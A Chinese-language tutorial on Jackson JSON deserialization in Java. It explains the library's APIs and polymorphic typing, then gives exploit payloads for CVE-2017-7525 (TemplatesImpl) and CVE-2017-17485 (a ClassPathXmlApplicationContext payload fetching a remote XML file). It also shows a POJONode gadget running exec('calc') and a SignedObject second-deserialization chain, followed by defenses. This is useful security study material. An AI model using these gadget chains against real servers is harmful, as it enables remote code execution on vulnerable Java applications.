深入浅出解析Jackson反序列化
字数 2278 2025-08-20 18:17:48
Jackson反序列化深度解析与安全实践
一、Jackson框架概述
1.1 基本介绍
Jackson是当前广泛使用的Java开源JSON处理框架,具有以下核心特点:
- Spring MVC默认JSON解析器
- 高性能:解析大文件速度快,内存占用低
- 模块化设计:核心由三个组件构成
- 灵活API:易于扩展和定制
1.2 核心组件
-
jackson-core:提供基于"流模式"解析的API
- JsonParser:解析JSON
- JsonGenerator:生成JSON
-
jackson-annotations:提供标准注解功能
-
jackson-databind:提供高级API
- ObjectMapper:对象绑定解析
- JsonNode:树模型解析
1.3 Maven依赖
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.3</version>
</dependency>
</dependencies>
二、核心API详解
2.1 ObjectMapper使用
2.1.1 JSON转对象
String json = "{\"name\":\"John\", \"age\":30}";
ObjectMapper objectMapper = new ObjectMapper();
Person person = objectMapper.readValue(json, Person.class);
2.1.2 对象转JSON
Person person = new Person();
person.setAge(123);
person.setName("fakes0u1");
String jsonString = objectMapper.writeValueAsString(person);
// 或写入文件
objectMapper.writeValue(new File("person.json"), person);
2.2 JsonParser底层解析
String json = "{\"name\":\"fakes0u1\",\"age\":123}";
JsonFactory jsonFactory = new JsonFactory();
JsonParser parser = jsonFactory.createParser(json);
while (!parser.isClosed()) {
JsonToken jsonToken = parser.nextToken();
System.out.println(jsonToken);
}
2.3 JsonGenerator生成JSON
JsonFactory jsonFactory = new JsonFactory();
JsonGenerator jsonGenerator = jsonFactory.createGenerator(
new File("output.json"), JsonEncoding.UTF8);
jsonGenerator.writeStartObject();
jsonGenerator.writeStringField("name", "fakes0u1");
jsonGenerator.writeNumberField("age", 123);
jsonGenerator.writeEndObject();
jsonGenerator.close();
三、多态处理机制
3.1 DefaultTyping机制
3.1.1 四种类型
| 类型 | 描述 |
|---|---|
| JAVA_LANG_OBJECT | 当属性为Object类型时处理 |
| OBJECT_AND_NON_CONCRETE | 处理Object、Interface、AbstractClass(默认) |
| NON_CONCRETE_AND_ARRAYS | 处理Object、Interface、AbstractClass、Array |
| NON_FINAL | 处理所有非final属性 |
3.1.2 使用示例
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
3.2 @JsonTypeInfo注解
3.2.1 五种类型
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE) // 不使用识别码
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) // 完全限定类名
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) // 最小化类名
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME) // 使用指定名称
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM) // 自定义
3.2.2 示例对比
// 使用CLASS
{"@class":"jackson.Hacker","skill":"moyu"}
// 使用MINIMAL_CLASS
{"@c":"jackson.Hacker","skill":"moyu"}
// 使用NAME
{"@type":"Hacker","skill":"moyu"}
四、反序列化漏洞原理
4.1 漏洞触发条件
满足以下任一条件即可触发:
- 调用了
ObjectMapper.enableDefaultTyping() - 使用
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) - 使用
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
4.2 攻击面分析
4.2.1 无Object属性
依赖目标类中:
- 构造方法存在危险代码
- setter方法存在危险代码
4.2.2 有Object属性
可利用服务端存在的任何满足条件的类:
- 构造函数或setter方法存在漏洞
- 类在classpath中可访问
4.3 反序列化流程
- 实例化阶段:通过无参构造函数创建对象
- 属性赋值阶段:通过setter方法或直接字段赋值
五、典型漏洞分析
5.1 CVE-2017-7525(TemplatesImpl链)
5.1.1 影响版本
- Jackson 2.6系列 < 2.6.7.1
- Jackson 2.7系列 < 2.7.9.1
- Jackson 2.8系列 < 2.8.8.1
- JDK 1.7
5.1.2 利用关键点
{
"object": [
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
{
"transletBytecodes": ["base64编码的恶意类字节码"],
"transletName": "fakes0u1",
"outputProperties": {}
}
]
}
5.1.3 高版本限制
JDK高版本中因_factory属性为null导致异常
5.2 CVE-2017-17485(ClassPathXmlApplicationContext链)
5.2.1 影响版本
- Jackson 2.7系列 < 2.7.9.2
- Jackson 2.8系列 < 2.8.11
- Jackson 2.9系列 < 2.9.4
5.2.2 利用方式
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
5.2.3 补丁分析
新增校验:
- 类名黑名单过滤
- 检查是否以
org.springframe开头 - 检查父类是否为
AbstractPointcutAdvisor或AbstractApplicationContext
六、高级利用技术
6.1 PojoNode通杀利用
6.1.1 利用条件
- 不需要存在该属性
- getter方法有返回值
- 最好只有一个getter方法
6.1.2 示例代码
public class Evil {
public Object getCmd() {
Runtime.getRuntime().exec("calc");
return "exploited";
}
}
POJONode jsonNodes = new POJONode(new Evil());
jsonNodes.toString(); // 触发getCmd()
6.2 二次反序列化(SignObject链)
6.2.1 利用链构造
// 1. 创建恶意TemplatesImpl
TemplatesImpl templatesImpl = ...;
// 2. 包装为POJONode
POJONode jsonNodes2 = new POJONode(templatesImpl);
// 3. 创建BadAttributeValueExpException
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = BadAttributeValueExpException.class.getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2, jsonNodes2);
// 4. 创建SignedObject包装
SignedObject signedObject = new SignedObject(exp2, privateKey, signingEngine);
// 5. 再次包装为POJONode
POJONode jsonNodes = new POJONode(signedObject);
// 6. 最终异常对象
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(exp, jsonNodes);
6.2.2 触发流程
BadAttributeValueExpException.toString()POJONode.toString()SignedObject.getObject()触发二次反序列化- 最终执行
TemplatesImpl.getOutputProperties()
七、防御措施
- 升级Jackson版本:使用已修复漏洞的最新版本
- 禁用DefaultTyping:避免使用
enableDefaultTyping() - 使用安全注解:谨慎使用
@JsonTypeInfo注解 - 输入过滤:对反序列化的JSON数据进行严格校验
- 类白名单:实现自定义的反序列化类检查机制
八、调试技巧
-
关键断点:
BeanDeserializer.deserialize()deserializeAndSet()createUsingDefault()(构造函数调用)
-
调用栈分析:
- 关注
JsonParser的令牌处理流程 - 跟踪多态类型的解析过程
- 监控危险方法的调用链
- 关注
九、总结
Jackson反序列化漏洞的核心在于多态类型处理机制被滥用。理解DefaultTyping和@JsonTypeInfo的工作原理是分析这类漏洞的基础,而掌握各种利用链的构造方式则是实战中的关键。防御方面应重点关注类型处理的严格控制和输入验证。